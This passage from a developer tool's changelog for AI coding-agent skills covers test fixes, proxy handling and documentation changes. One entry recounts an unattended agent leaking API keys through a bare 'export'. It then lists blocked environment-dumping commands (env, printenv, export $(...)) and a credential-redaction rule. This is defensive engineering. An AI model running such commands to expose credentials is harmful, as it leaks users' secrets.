Fixtures under test/fixtures/design-lint/ (hallmark's slopped.html, eyebrow and Tailwind pass/fail pairs and the waiver page, MIT-attributed, plus a clean page every rule family must leave alone); licenses/MIT-hallmark.txt; a NOTICE.md entry.

Tests

test/design-lint.test.ts: the parsers (nested CSS, tokens, var() fallbacks, colour spaces, JSX pseudo-HTML), the rule table against docs/design-lint.md, the output lines and exit codes, waiver acceptance and every refusal reason, the waiver fixture. One test per rule family (test/design-lint-<family>.test.ts) holds a negative control and a planted positive for every rule id. test/design-lint-render.test.ts drives the browse daemon when it is built and skips with a named reason otherwise. test/design-lint-recorded.test.ts lints the repository's recorded design slop page (the review eval's ground truth) and pins which rule answers each annotated issue, the same gate set hallmark's sloplint reports on the same files.

Gate integrity

No threshold, budget, timeout, trial count or assertion was weakened. No template, catalog or eval changed. Gate edits in the diff: test/fixtures/module-size-ratchet.json registers the 27 new lib/design-lint modules under the existing 800-line cap, and test/helpers/free-fixtures-data.ts maps test/fixtures/design-lint/** to the design-lint test files; lib/aside-render.ts gains the viewport on eval steps and http(s) file, described above.

[1.91.250.0] - 2026-10-26

Three free-tier fixtures stop racing themselves (GSTA-107 daily flaky pass). Two tests polled for a result file's existence while its writer created it with a plain writeFileSync, so a poll between create and write read an empty file; a third copied a shared template repository with fs.cpSync and threw once inside the directory walk.

Fixed

browse/test/dotenv-isolation.test.ts (Free Tests 39902683183 and 40322888041, shard 2, "JSON Parse error: Unexpected EOF" at the agent-env.json read): the probe writes its result to a temp file and renames it into place, and waitForFile waits for content, not only for the file. A new test feeds the old race (an empty file filled 150 ms later) and runs the probe source itself.

test/claude-code-runner.test.ts (Free Tests 39694715116, shard 13, running(pid) false at the timeout case): the descendant publishes descendant.pid by rename, and the test polls publishedPid(), a positive integer, instead of the file's existence, so an empty read can no longer become pid 0.

test/cso-git-hardening.test.ts (Free Tests 40288142343, shard 17, fs.cpSync threw in fixture() with an empty message and passed on the serial retry): every fixture builds its own repository with Git instead of copying a shared template, with auto-maintenance off (maintenance.auto=false, gc.auto=0) so the detached git maintenance run a commit starts no longer touches .git while a test walks or removes it; the beforeAll still pays the cold macOS Git spawns once, on a throwaway repository. No timeout changed.

[1.91.249.0] - 2026-10-26

Five paid-case flakes from the 2026-10-26 train gates, repaired at their causes (GSTA-107 daily flaky pass). The "ship-docsync family" was three distinct slips, not one shared cause: a mistyped --help path the detector refused although the usage had already been read, an undeclared refusal of gstack's own state directory as an artifact location, and a fixture that did not install the shared preamble a generated skill requires. tpa-present's consent question paraphrased "defer" as "wait for now", and qa-functional-webhook-fix ran the probe's --help bare before its first capture.

Fixed

ship-docsync-store (gate 40323989742 slice 3): a candidate --help typed at a wrong, non-existent path (exit 127) is ignored when the declared binary's --help ran anywhere in the transcript, before or after, since a help probe reads nothing the agent still has to recover (test/helpers/docsync-observer.ts candidateNotFound); snapshot and compare still need the declared retry after the slip, and a wrong path that exists, a failed declared run, or no declared run at all still fail.

ship-docsync-completion (gate 40290033102 slice 2): the parent put its snapshot --out, saved section and report insert under <home>/state, gstack's own state directory (GSTACK_HOME), which the authority refuses but the fixture interface never named. The interface now says a private artifact lives directly under the fixture home or in a new directory there, and names every refused root: the repository, the installed skills, the Claude config dir, <home>/state and <home>/remote.git (test/helpers/docsync-interface.ts). The authority is unchanged.

docsync-spawned (PR #3434 screen 40269992077 slice 13): fixtureDocs installs <skill>/sections/preamble.md beside the required sections when the generated skill has one, so a spawned child whose SKILL.md names the shared preamble as a required asset no longer blocks on its absence (test/helpers/docsync-fixture.ts). A generated skill without one installs exactly the files it did before.

tpa-present (gate 40290033102 slice 14): the defer-option detector accepts "wait for now" and "hold off (on this) for now" as the option's own opening or sentence (test/helpers/third-party-actions.ts offersDefer); a drive option that waits while the user signs in, a "do not wait for now", or the phrase outside a lettered option still does not count.

qa-functional-webhook-fix (gate 40290033102 slice 9): the fixture interface states that the evidence helper's --help is the only one it grants and that a bare bun run probe with --help or any argument outside a capture is a bypass (test/helpers/qa-functional-eval.ts); the grammar and the bypass detector are unchanged.

Tests

test/docsync-lifecycle-interface.test.ts replays the captured store run (test/fixtures/docsync-help-not-found-public.json) as a pass, with controls for no declared --help, a failed one, and a wrong-path compare that only an earlier declared run precedes.

test/docsync-authority.test.ts pins the interface sentence that names each refused root and replays the captured state-dir calls (test/fixtures/docsync-state-dir-artifacts-public.json): four refused commands and one refused write, all accepted once relocated to a new directory under the home.

test/ship-document-release-dispatch.test.ts builds a generated root with and without a document-release preamble and checks the fixture installs it in the first case only.

test/third-party-actions.test.ts adds the 40290033102 tpa-present render to the Opus consent captures (29 consent questions, 5 paraphrased defers) with new positive and negative wordings.

test/qa-functional-prompt.test.ts pins the helper-only --help sentence before the observation forms and keeps bun run probe -- --help outside the grammar.

[1.91.248.0] - 2026-10-26

$B in direct mode no longer lets Chromium pick a proxy from the environment (#3440 item 8). BROWSE_PROXY_URL=direct (and an unparseable HTTPS_PROXY) only stopped gstack from configuring a proxy. The daemon inherits the whole environment and the launch passed no proxy switch, so Chromium read HTTPS_PROXY, HTTP_PROXY or ALL_PROXY itself and every goto still went through that proxy while $B reported a direct connection. That made the BROWSER.md precedence list false and any certificate check on a proxied machine unreliable. Reproduced on Linux with Playwright 1.62.1: a logging CONNECT proxy in HTTPS_PROXY received CONNECT <host>:443 with BROWSE_PROXY_URL=direct set.

Fixed

browse/src/browser-manager.ts: each of BrowserManager's four Chromium launch sites (headless launch, the BROWSE_EXTENSIONS_DIR persistent context, launchHeaded, handoff) adds --proxy-server=direct:// when no proxy is configured and forcesDirect() says Chromium would otherwise pick one browse did not resolve, from one proxyLaunchArgs(). A configured proxy was already explicit (Playwright passes it as --proxy-server), so the environment can no longer win silently in either mode. --no-proxy-server was measured and rejected: chrome-headless-shell, the default headless build, ignores it and still took HTTPS_PROXY; the full Chromium honors both switches, and direct:// works on both. The cookie-import worker (cookie-import-native-worker.ts), which launches the user's own browser only to read its cookie store and never navigates, is unchanged.

browse/src/proxy-config.ts: forcesDirect(env, platform) is true on Linux always, where the leak lives, and on macOS and Windows only with BROWSE_PROXY_URL=direct. Chromium there never read the proxy variables and follows the system proxy settings (PAC and WPAD included), so a user of GStack Browser.app behind a corporate proxy keeps that connectivity, and a PAC cannot be named through BROWSE_PROXY_URL. An explicit direct bypasses the system settings on every platform. A standard proxy variable without a scheme (curl-style host:port or user:pass@host:port) is now read as an http:// proxy (port 80 when none is given). For host:port that is what Chromium's own environment reader took it as: before this change browse rejected it with a warning and Chromium on Linux read the variable anyway, so that session was proxied; with the launch now explicit, reading it the same way keeps those sessions on their proxy instead of sending them direct. user:pass@host:port follows curl's reading and is newly proxied: Chromium rejects any proxy spec that carries a userinfo (net/base/proxy_string_util.cc), so that session was direct before and now sends its credentials to the named proxy. On macOS and Windows the same value is now a configured proxy too, where it used to be ignored in favour of the system proxy settings, so a daemon started under the old warning meets the mismatch refusal once. Only the plain [user:pass@]host[:port] shape is read that way; a value with a scheme (including the slash-less https:user:pass@host:port, which the URL parser reads as https://), a /, \, ?, #, @ or whitespace anywhere else in the value, or a bare number goes to the URL parser as written, so a bare number such as 1234 keeps its diagnostic and a one-slash spelling such as http:/host:3128 is read as the URL parser always read it (http://host:3128/). A proxy URL with a path other than a bare /, a query or a fragment (a literal ? or # anywhere) is now refused for every source (--proxy included), because that is where a DOMAIN\user login or a / in a password lands after URL parsing and only the userinfo is redacted; percent-encode /, ? and # in credentials for every scheme and \ in http:///https:// credentials (a socks5:// userinfo keeps a backslash as written). This narrows the environment path: a credential-free value with a path, such as http://proxy.corp:3128/pac, used to be read with the path dropped and the session proxied; it now warns and goes direct like any other unusable standard-variable value, and --proxy/BROWSE_PROXY_URL refuse it. Credentials that are not valid percent-encoding (a literal %) are a proxy configuration error instead of a crash, for every source. For a standard variable each of these parse problems is a warning and a direct connection, like any other unusable value; a scheme-less value with credentials beside BROWSE_PROXY_USER/BROWSE_PROXY_PASS is now refused like its http:// spelling, which has always been a hard error (that value used to warn and go direct because it did not parse). A value that does not parse even as http:// (an unsupported scheme, a bad port, a missing host) still warns and connects directly; --proxy and BROWSE_PROXY_URL still require the scheme.

browse/src/cli.ts, browse/src/server.ts: on macOS and Windows the explicit direct is part of the daemon config hash (explicitDirect()), is recorded in the daemon state as proxyDirect and is re-emitted on a crash auto-restart from the session's own flags, so a running daemon started on the system proxy is refused rather than reused by a session that opted out (the refusal names BROWSE_PROXY_URL and offers browse stop or unsetting it; a daemon started before this release meets that refusal once, and a daemon with no recorded config hash is refused like one started without --proxy; the mismatch refusal offers BROWSE_PROXY_URL=direct as a remedy only where it would match the running daemon, on Linux or against a daemon started with it, and otherwise says to unset the variable that differs). The unparseable-variable warning's hint now says that BROWSE_PROXY_URL=direct also bypasses the system proxy settings on macOS and Windows. On Linux the opt-out hashes like no proxy, as before, because every direct connection there already carries the switch.

browse/src/server.ts logs the effective proxy mode each time the daemon starts, beside the existing [proxy] using <url> from <source> line: [browse] [proxy] none: direct connection (--proxy-server=direct://; ignoring HTTPS_PROXY) on Linux, naming each standard variable that was set and ignored; (...; ignoring the system proxy settings) for an explicit direct on macOS and Windows; and [browse] [proxy] none: system proxy settings (Chromium's default on <platform>; BROWSE_PROXY_URL=direct connects directly) when those platforms are left to the system.

BROWSER.md, "Proxy from environment": says that whatever $B resolves is passed to Chromium explicitly, that on Linux a set proxy variable is ignored in direct mode, that macOS and Windows follow the system proxy settings unless BROWSE_PROXY_URL=direct is set (and that the opt-out is part of the daemon's settings there), where the daemon log records the effective mode, and that a managed Chromium proxy policy still overrides the switch. The eMudhra/TLS trust section is unchanged.

Tests

browse/test/proxy-direct-launch.test.ts (Linux): two logging CONNECT proxies on loopback (browse/test/helpers/connect-proxy.ts) and a target name that does not resolve. With HTTPS_PROXY set and BROWSE_PROXY_URL=direct, the goto fails at DNS, no CONNECT reaches the proxy, the daemon log names the ignored variable and the state file has no proxy; this case fails on the unfixed tree with ERR_TUNNEL_CONNECTION_FAILED and a logged CONNECT. A scheme-less HTTPS_PROXY (host:port) is the configured proxy and the CONNECT reaches it (this case fails on the tree before the lenient parse); an HTTPS_PROXY that does not parse even as http:// (ftp://) warns and still forces direct, so no CONNECT reaches the proxy it named. Two controls: HTTPS_PROXY alone is the configured proxy and receives the CONNECT; --proxy beside HTTPS_PROXY sends the CONNECT only to the configured proxy. Each case asserts on the daemon-log slice its own invocation wrote.

browse/test/proxy-direct-launch-paths.test.ts (Linux, real Chromium under Xvfb): the BROWSE_EXTENSIONS_DIR persistent context, launchHeaded() and the handoff() relaunch each ignore an inherited HTTPS_PROXY (no CONNECT, ERR_NAME_NOT_RESOLVED), and a headed control with a configured proxy still sends the CONNECT to it.

browse/test/proxy-config.test.ts: forcesDirect per platform, and directProxyLogLine for the Linux variable list, the explicit-direct line on macOS/Windows, and the system-proxy line.

browse/test/proxy-env.test.ts, browse/test/restart-env.test.ts: the config hash separates an explicit direct from no proxy on macOS and Windows and not on Linux (extractGlobalFlags takes the platform); the mismatch refusal for both directions (explicit session against a system-proxy daemon, default session against an explicit-direct daemon) and the remedy an env-proxied session gets against a system-proxy daemon (unset the variable, not BROWSE_PROXY_URL=direct, which that daemon would refuse); buildRestartEnv re-emits BROWSE_PROXY_URL=direct from the invocation's flags only, never from the persisted state, and a proxied invocation wins over it; resolveProxy reads scheme-less standard variables as http:// (with and without user:pass@, IPv6, no port, surrounding whitespace), leaves a one-slash scheme and a bare number to the URL parser, gives h:3128 and http://h:3128 the same config hash, warns for an unsupported scheme, a bad port, a missing host, a credential that would spill past the userinfo (/, \, ?, #, including a DOMAIN\user login) or one that is not percent-encoded, without echoing credentials, refuses a proxy URL with a path other than a bare /, a query or a fragment (a bare trailing ? or # included) for every source, keeps the protocol of a slash-less https:user:pass@host:port spelling, refuses mixed credential sources for the scheme-less spelling as for the http:// one, and still fails closed for --proxy and BROWSE_PROXY_URL.

browse/test/proxy-env-daemon.test.ts: through the real CLI and daemon, a scheme-less HTTPS_PROXY with credentials starts the daemon on that http:// proxy, redacted in the start line and the state, and an ftp:// value warns and falls back to direct; BROWSE_PROXY_URL=direct is written to the daemon state as proxyDirect where it bypasses the system proxy and a default session is then refused with the BROWSE_PROXY_URL differs lines; on Linux the daemon is reused. This file and proxy-direct-launch-args.test.ts join the macOS named-regressions CI job, so the refusal arm and the "no switch without an opt-out" arm run on macOS. buildHeadedServerEnv carries the opt-out to the headed server, and BROWSER.md's section is checked against the real switch and log literals.

browse/test/proxy-direct-launch-args.test.ts: reads the real command line of the headless Chromium BrowserManager launched (from the pid it records) and asserts the switch is present on Linux and absent elsewhere without an opt-out, and present on every platform with BROWSE_PROXY_URL=direct; the per-platform expectations are written out, not read back from forcesDirect. Skipped on Windows, where no command line reader exists.

[1.91.247.0] - 2026-10-26

/plan-eng-review no longer points its reader at three things its own text never defines. The plan-eng-review sections judge marked down clarity and actionability for these references. All three live in shared resolvers, so the fixes reach every skill that renders them. The Claude Code hook that backs up AskUserQuestion carried the same stale pointer, so it's fixed too:

Fixed

Claims Need Evidence kernel (scripts/resolvers/preamble/generate-evidence-directive.ts): the evidence-kind bullet ended with "Reuse rules: Step 16." That step exists only in /ship, so in every other skill the pointer led nowhere. It's gone. /ship's Step 16 still states its own reuse rule ("Reuse a check when its inputs match"), and every tier's DONE line still asks you to name reuse.

AskUserQuestion Tool resolution (generate-ask-user-format.ts): "per its Unattended session block" read like a section of the skill, but the block is runtime output. The change removes the dangling pointer from item 1 and from the failure fallback's unattended branch. Both keep the destructive/irreversible carve-out the pointer used to supply: item 1 now names destructive or irreversible options among the pending gate items itself, and the fallback branch says a destructive or irreversible option stays pending, as the printed unattended-session block does.

AskUserQuestion fallback hook (hosts/claude/hooks/auq-error-fallback-hook.ts): its unattended directive ended with "(Unattended session block; docs/unattended.md names each skill's record)", the same section-style pointer to runtime output. It now ends with "(docs/unattended.md names each skill's record)". The rest of the directive, including which skills print a GSTACK_RESULT line, is unchanged.

Reality rows, eng/ceo branch (scripts/resolvers/plan-reality.ts): the Completion Summary row and plan-eng-review's checklist ask for the PLAN_REALITY line, but the operative block never said where that line comes from. It now says gstack-plan-reality check prints it.

Tests

test/honesty-kernel.test.ts no longer requires the Step 16 pointer. It now rejects any Step <n> cross-reference in the kernel, which every skill renders.

test/resolver-ask-user-format.test.ts checks that item 1 states the unattended pending set with no section or block pointer, in any spelling of the unattended-session block or "per its printed". It also checks that the failure fallback's unattended branch keeps destructive or irreversible options pending, and that the hook's unattended directive says the same. test/gstack-skill-start.test.ts checks that the block gstack-skill-start actually prints keeps destructive or irreversible options pending for every skill it samples. test/auq-error-fallback-hook.test.ts asserts the hook's unattended directive no longer says "Unattended session block".

test/plan-reality.test.ts checks that the reality-rows block for the eng and ceo phases says its gstack-plan-reality check line prints PLAN_REALITY.

89 pins in test/fixtures/skill-md-size-allowlist.json were moved to their new exact sizes, and every pin went down. 78 went down by 32 characters. The 11 non-Claude plan-eng-review pins went down by 8, because they also inline the 24-character "prints PLAN_REALITY" pointer from review-sections.md. Both figures already include the destructive/irreversible carve-out that item 1 and the fallback branch keep. The /ship goldens were regenerated.

Gate integrity

No threshold, rubric, trial count, case kind or judge prompt changed. Every size pin went down (78 by 32, 11 by 8); none was raised.

[1.91.246.0] - 2026-10-26

The README is a first-ten-minutes page again: what gstack is, how to install it, the first three skills to try, the skills tables, platform notes, and links to docs/ for everything else. It was 862 lines and 90 KB, with CSO producer sandboxing, Codex model-selection order and the uninstall script in the path of someone deciding whether to try it. It is now about 300 lines and 33 KB. Nothing was deleted: every removed section moved to a docs/ page, verbatim except the "Proactive skill suggestions" paragraph in docs/why-gstack.md, which now describes the core-set default and gstack-config set proactive core|all|off landing in #3432, and every anchor other files link to (#install--about-30-seconds, #gbrain--persistent-knowledge-for-your-coding-agent) still resolves.

Changed

README.md: a short intro, a three-skill quick start (/office-hours, /review, /qa), the two-step install with the host matrix, the demo transcript, the sprint table, the review picker and the power-tools table unchanged, a short GBrain section, new "Platform notes" (macOS, Linux, the Windows paragraphs), the Docs table with the new pages, a one-paragraph privacy summary and a short troubleshooting section that keeps the CLAUDE.md /browse rule.

Added

docs/why-gstack.md: the Karpathy quote, the LOC numbers and their caveats, the contribution graphs, "Karpathy's four failure modes", "Parallel sprints" and "10-15 parallel sprints".

docs/install.md: setup timing, the requirements paragraph in full, the CSO image-preload window, team mode's Node.js hook, and the hooks ./setup registers (the timeline Stop hook and canonical-only hook paths).

docs/uninstall.md: the uninstall script and the manual removal steps, CLAUDE.md cleanup, Playwright and Aside notes.

docs/hosts.md: OpenClaw and the ClawHub skills, which agents a checkout renders for, the Copilot and Antigravity notes, outside-review providers, the /claude rename, the instruction-only digest, the Codex behavioral profile and model selection order, the plan-review and implementation tiers, the design binary's models, and adding a host.

docs/qa-without-a-webpage.md, docs/standalone-binaries.md (every gstack-* CLI plus the CSO evaluation producer contract and its host matrix), docs/voice-input.md, docs/privacy.md (the full Privacy & Telemetry section).

docs/domain-skills.md gains the README's summary of domain skills and the raw CDP escape hatch; docs/gbrain-quick-tour.md holds the README's short version of the four paths, trust policy and memory sync; docs/troubleshooting.md gains a "Quick answers" section with the README's short troubleshooting entries.

[1.91.245.0] - 2026-10-26

gstack-ship-queue ready counts CI the way GitHub's rollup does, and names the way through a CHANGELOG-only conflict. A superseded run (gbrain saw a cancelled contributor-gate beside three later passes on the same head) made ready print failed=1 where GitHub showed 0 failed, and a PR that conflicts with main on CHANGELOG alone had no documented route to green CI on its head.

Fixed

ready's ci: line (lib/ship-queue.ts, new latestRunPerName) judges each check (one app's check name) by its latest run (newest completed_at, then highest id; a run still in progress is newest), so a cancelled or re-run earlier attempt no longer counts as a failure; two apps reporting the same name stay separate, a run without a name or without a readable completed_at counts on its own, and commit-status contexts are counted one each, as before.

ready prints a ci-hint: line on a conflicting PR (gh pr view now also reads mergeable, headRefName and isCrossRepository): with no CI at the head it names the procedure (dispatch free-tests.yml and windows-free-tests.yml with gh workflow run … --ref <branch>, clear the pregate lanes with the run URLs, rerun ready); with green runs at the head it says the dispatched runs count; a head on a fork gets a hint that leaves the dispatch to the coordinator; a branch name outside [\w./-], or starting with -, prints as <branch>. Every hint ends in (advisory); nothing parses it. No hint without a conflict, or while the runs are red or pending.

Docs: docs/ship-policy.md records that procedure under "Lane: report ready" (and that --screen is QUEUE_SCREEN_STALE_REF on such a PR for want of a merge ref, with advice that does not apply to a CHANGELOG-only conflict), rewords the stamp-at-merge row's next: description to the train wording gstack-restamp prints since #3439 (commit and push only the stamp diff above (FILES), with no edit of your own), and rewords the restamp changelog stage so CHANGELOG_DUPLICATE_HEADING is described as #3439 implements it: only a duplicate the PR introduces counts, measured against the base's CHANGELOG.

Tests

test/gstack-ship-queue.test.ts: two runs of one check name where the older is cancelled read green (either order), a newer failure reads red, a newer in-progress or queued run reads pending, equal completed_at falls back to the id, unnamed and undated runs stay separate, two apps with one name stay separate, a null conclusion reads red, and a commit status never collapses with a check run of the same name; a conflicting PR with no CI refuses with the dispatch hint, with green dispatched runs READYs with the "counts" hint, a fork head and an odd or dash-led branch name get the safe hint, and no hint appears without a conflict or while runs are red or pending.

[1.91.244.0] - 2026-10-26

A restamp PR no longer fails pregate for the manifests it stamps. gbrain's bun run release:restamp rewrites its plugin manifests and VERSION; its base's .gstack/pregate.json declares no lane for them, and pregate reads policy from the base, so every such PR failed lanes with PREGATE_NO_LANE and could not fix itself (gbrain #7625, #7606).

Fixed

gstack-pregate lanes: a touched *.json, *.plist, VERSION or VERSION.txt file whose diff against the merge base changes nothing but its version values is waived as version-stamp-only, on its own line (version-stamp-only (no lane needed): <files> — only version values changed against the merge base; a manifest whose other content changed still needs a lane), with the per-file verdict under --explain. The rule is exact per kind (lib/pregate/stamp-only.ts): JSON objects of the same shape (same own keys in the same order, same array lengths, same leaf types) whose only changed leaf is the document's top-level version, a bare version on both sides, with the text differing on that line alone; plist <string> versions under CFBundleShortVersionString or CFBundleVersion; a VERSION file that is one bare version on both sides. Nothing nested qualifies (a dependency pin, a lockfile entry, a catalog), texts are compared byte for byte outside the stamped value (a line-ending change or a BOM is content), and a changed description, a new, removed or reordered key, a floor such as minHostVersion or MinimumOSVersion, a change the parser would erase, an invalid-UTF-8 or over-1-MiB file, a mode change or symlink, an added, deleted or renamed manifest, a file under a test, fixture, golden, .gstack/ or workflow tree, or any other file kind is not a stamp and keeps its PREGATE_NO_LANE. It applies only after the import graph, the declarations, the regen registry and both empty lanes found nothing, so a manifest a test reads still selects that test. docs/pregate.md and the PREGATE_NO_LANE troubleshooting entry state the rule.

[1.91.243.0] - 2026-10-26

The launch environment reaches every gstack command and child through a sourceable file, and nothing in a skill fence may print the environment (GSTA-104). During GSTA-96's unattended /ship on #3425 (2026-10-26), the Step 14.5 docs-audit child was told to export the GSTACK_LAUNCH assignments and re-typed them as export $(...). The substitution came back empty, the shell ran a bare export, and the values of ANTHROPIC_API_KEY, OPENAI_API_KEY and UBICLOUD_API_KEY landed in its tool output. The line itself carries no secret (PATH, GSTACK_SESSION_KIND, GSTACK_STATE_ROOT, GSTACK_EPHEMERAL, GSTACK_CAPY, GSTACK_INSTALL_VERDICT); the hazard was re-typing it. Now the installer writes the assignments as a file callers source, every fence that hands the launch environment to a child says so in one line, a free ratchet keeps environment dumps out of every skill fence and shell helper, and the redaction engine refuses a credential value from the writer's own environment, whatever its shape.

Added

GSTACK_LAUNCH_FILE: <verdict file without .json>.env after the GSTACK_LAUNCH and GSTACK_LAUNCH_PATH lines of every passing bin/gstack-capy-install run, --check included . The file is part of the ok verdict: a passing run that cannot write it exits 1 with gstack: fail launch-file — could not write the launch file <path>; fix: … (LAUNCH_FILE_UNWRITABLE), and a failing run announces no launch file and removes the one an earlier passing run left beside the verdict it rewrites (a profile check that keeps a fuller ok verdict leaves that verdict's file; an unwritable directory keeps both the old file and the old verdict), so no caller is left with only the line and the re-typing path. The file holds the same assignments as export statements (the PATH prepend is idempotent), is written atomically with mode 0600 beside the install verdict under the state root, and is applied with . <file> at the start of the shell that runs a gstack command. A caller hands a child the path, never the values.

env.value (HIGH) in lib/redact-engine.ts: the value of every *_KEY, *_TOKEN, *_SECRET, *_PASSWORD, *_PASSWD, *_PASS, *_PAT, *_APIKEY or *_PWD variable in the scanning process's environment (any case; eight characters or more after trimming, not a placeholder; names carrying a PUBLIC word and gstack's own GSTACK_BRAIN_LOCK_TOKEN are exempt, and there is no path exemption: a path-valued SSL_KEY that must appear in a text goes through gstack-redact --allowlist or the pre-push hook's .gstack-redact-allowlist, and for the writers that take no allowlist the variable is set empty for that one command) is a finding wherever it appears in the scanned text, so a leaked value cannot reach a PR body (gstack-post), a ship receipt, a report, an approval row or a Drive mirror through any writer that scans with the engine. The value is matched in the same normalized form as the text, so a value NFKC rewrites still finds its leaked bytes; when one value is a prefix of another, the longer value is redacted whole; the finding's preview never shows a byte of the value. redactFindingSpans removes it on the machine-egress path; ScanOptions.processEnv names the environment ({} scans without one). test/redact-env-value.test.ts.

test/launch-env-echo-ratchet.test.ts: every generated SKILL.md and section file, their templates, autoplan/DRIVER.md, the Capy skill, every shell helper under bin/, setup and the scripts/*.sh install scripts carry no export $(...), export \...`or unquotedexport $VAR, no envorprintenv(flags alone included), and no bareset, export, declare -x, typeset -x, declare -portypeset -p in any command segment of a fence (set | grep '^NAME_'stays allowed: the anchored filter bounds what prints).test/fixtures/launch-env-echo/` holds the negative controls the scanner must trip on.

Changed

ship/sections/documentation.md.tmpl (Step 14.5 subagent prompt), document-release/SKILL.md.tmpl (spawned note), autoplan/DRIVER.md.tmpl and the runtime capy-asks block of bin/gstack-skill-start (every workflow started with GSTACK_CAPY=1, /review and /qa included) each say in one line: apply the launch environment with . <GSTACK_LAUNCH_FILE>; never export $(...), env, printenv or a bare set in a tool fence, because a bare export prints every variable, credentials included. /review and /qa dispatch no child that runs a gstack command, so their SKILL.md files, whose sizes are pinned, are unchanged. Nearby prose in the Step 14.5 section was tightened so /ship's union stays under its parity cap (313,279 of 313,281 bytes).

capy/skill/gstack/SKILL.md (the source of the Drive skill) and docs/capy-install.md describe the launch file and name the incident; the Drive copy needs the owner's recopy to say the same.

scripts/lib/shard-engine.ts createShardSandbox and the test preload (test-setup.ts, so a direct bun test <file> matches the lanes) drop GSTACK_SESSION_KIND, GSTACK_CAPY, GSTACK_EPHEMERAL and GSTACK_INSTALL_VERDICT from every test's environment, so a run started from a shell that sourced the launch file no longer hands the product-under-test children an unattended Capy session they never set up (GSTA-99's finding); each fixture sets its own session kind. GSTACK_STATE_ROOT and PATH are kept.

Gate integrity

One test budget changed: test/setup-gbrain-remote-caller.test.ts's late-completion case gives its second attempt 2s (was 250ms) with a 20s test timeout (was 10s) after it failed 4 of 4 on windows-latest once the new files repacked the Windows shards (run 40263984171). No other gate, threshold, budget, timeout, trial count or case kind changed. The redaction scan only gained findings, minus the framework-public and non-secret exemptions named above. Size pins are unchanged: the edited skills are under the limit.

[1.91.242.0] - 2026-10-26

gstack-context-bill now bills a real install. On ~/.claude/skills it reported "2 skills, ~134 tok" always-on, because setup installs each skill as a real directory whose SKILL.md and sections/ are symlinks into the gstack checkout, and the walker only counted regular files. The tool built to answer the token-cost complaint gave a falsely tiny answer on the layout users actually have. On a fresh install it now reports 58 skills, ~6.8K tokens always-on, and 3.6 MB on disk (it was 37 KB across 2 skills). Billing the checkout itself is unchanged (66 skills, ~7.2K tokens).

Fixed

lib/context-bill.ts: findSkillDirs, walkMd and the foreign-file check follow symlinked files and directories. Every path the bill reports, and every file --exact keys on, stays the lexical path under the root you passed. A link to a directory that contains the tree being billed or the skill being walked (.., /, $HOME) is never followed, so a link cannot climb out of the root into its parent or your home directory, even from a symlinked skill that lives elsewhere. The markdown walk expands each real directory once and counts each real file once per skill, under the first path reached in sorted order, which is how a skill loads it: loops end, links that fan out into each other cannot multiply the walk, and a tree with more than 200,000 entries is refused with an error instead of being cut short. --exact walks and sends only what the bill walks (the same per-skill walks and fences, so a link no skill bills is never walked), each real file once, measures frontmatter only for the SKILL.md files the bill prices it for, and prices every link to it with that one measurement. It sends only files inside the tree, inside the gstack checkout that the tree's gstack/ entry links to (a git checkout with VERSION, setup and a SKILL.md named gstack; bin/dev-setup's .claude/skills/gstack -> <repo> counts), or inside gstack's render folder $GSTACK_STATE_ROOT/render (where setup renders the SKILL.md files that gbrain, --claude-model and per-install renders link to; trusted only when render is a real directory, not a link). Each file is judged by its realpath, so a link out of one of those folders is refused too; anything else a symlink reaches (a skill's notes -> ~/Documents, say) is not sent, its directory is named in the notice, the files are listed, and they are estimated offline. The notice also says how many sent files come from the checkout and how many from the render folder. A bill in which --exact had to estimate any item (a refused file, or one that changed after it was measured) says so: tokenSource starts with mixed: and names the count, tokenEstimateErrorPct keeps the estimate's 40% band, and the text output says the counts are mixed instead of measured. A measurement is reused only for a file that still has the realpath, inode, size and mtime it was measured with, so a link retargeted or a file rewritten after the measurement (during --diff, say) is estimated and counted as estimated instead of inheriting the old count. Billed paths are matched to their measurement one link at a time, so a second skill sharing a link chain deeper than the kernel's limit is still priced from the one measurement. Files are opened without blocking, so a file swapped for a FIFO is refused instead of hanging the run. An empty .md file and a SKILL.md without frontmatter are measured as zero tokens without a request, and a whitespace-only .md file is not sent and is estimated (so the bill says mixed), because count_tokens rejects content with no non-whitespace text: a blank file used to drop every measurement with a 400, and an empty one turned a fully measured bill into a mixed one. When every file --exact could send is blank, nothing is sent, no receipt is written, and the notice says so (and whether other files were refused). The sending notice is printed after the files are read, just before the receipt, and counts exactly the files sent. A state root that is missing, unreadable or not a directory just means there is no render folder to trust; the bill still runs. Each file is read through the realpath its walk recorded and only while it is still that same file, so a link retargeted or a file swapped for a link mid-run is refused rather than sent. A link named *.md counts only when its target is a .md file, so --exact never sends a non-markdown file through a markdown-named link. walkMd skips a child repo checkout (the gstack/ link beside the installed skills), as findSkillDirs already did, so --exact does not send the whole checkout. The walk and skill discovery read each directory through its realpath, so a chain of links deeper than the kernel's 40-link limit no longer drops files or skills silently. Skill discovery has the same 200,000-entry cap as the walk. A container skill skips only nested directories whose SKILL.md is a file, as discovery does, so a sub/ whose SKILL.md is a directory is billed to the container instead of to nobody. The root container also skips a nested skill that a directory link reaches at any depth (discovery already bills it), so refs/alias -> ../sub no longer counts sub's files a third time in TOTAL. --exact on a path that does not exist now stops with No such tree before any request, including --diff with one missing tree (it used to send its one-character envelope probe first, and --diff sent the whole first tree), and its notice counts the same list of files it then sends. An existing tree with no skills sends nothing and writes no egress receipt, a tree whose skills have no markdown file to send says the offline estimate was used, and a tree whose every billed file was refused says so. --help now says which .md files --exact sends and that others are named and estimated.

Tests

test/context-bill.test.ts: an installed-layout fixture (a checkout outside the skills root, real skill directories with symlinked SKILL.md and sections/, and a gstack/ link to the checkout) bills both skills with the target's exact frontmatter, SKILL.md and section bytes, and keeps every walked path under the root. Negative controls: a dangling SKILL.md link and a SKILL.md link to a directory are not skills. A second fixture holds a self link, a parent link that reaches a skill outside the root, a loop back into the skill and a link up to the temp root; only the one real skill and its own files are billed. Further cases cover a loop to a directory below the walk root, a root whose name starts with .., a symlinked agents.md (with a dangling link and a directory of a foreign-file name as controls), --exact on the installed layout (every billed file measured; nothing behind gstack/ or a .md-named link to a non-markdown file is sent), a 12-level fan-out of links that reaches one file by 2^12 paths (walked once, where a walker that expands every link would return all 4,096), two skills linking one checkout file and directory (each real file sent once, both skills priced from it), a symlinked skill outside the root with a link up to the root's parent, the --exact notice's count of files from the gstack checkout, a skill whose SKILL.md another skill's walk reaches first under another name (its frontmatter still measured), a container skill whose nested skill links to the container's own files (both skills still bill them), --exact on a missing tree and --diff --exact with a missing second tree (named, with no request sent), a symlinked skill with a link up to its real parent (the files there are not billed, so not sent, and no billed file is keyed through that link), an existing tree with no skills (no request, no receipt), a skill 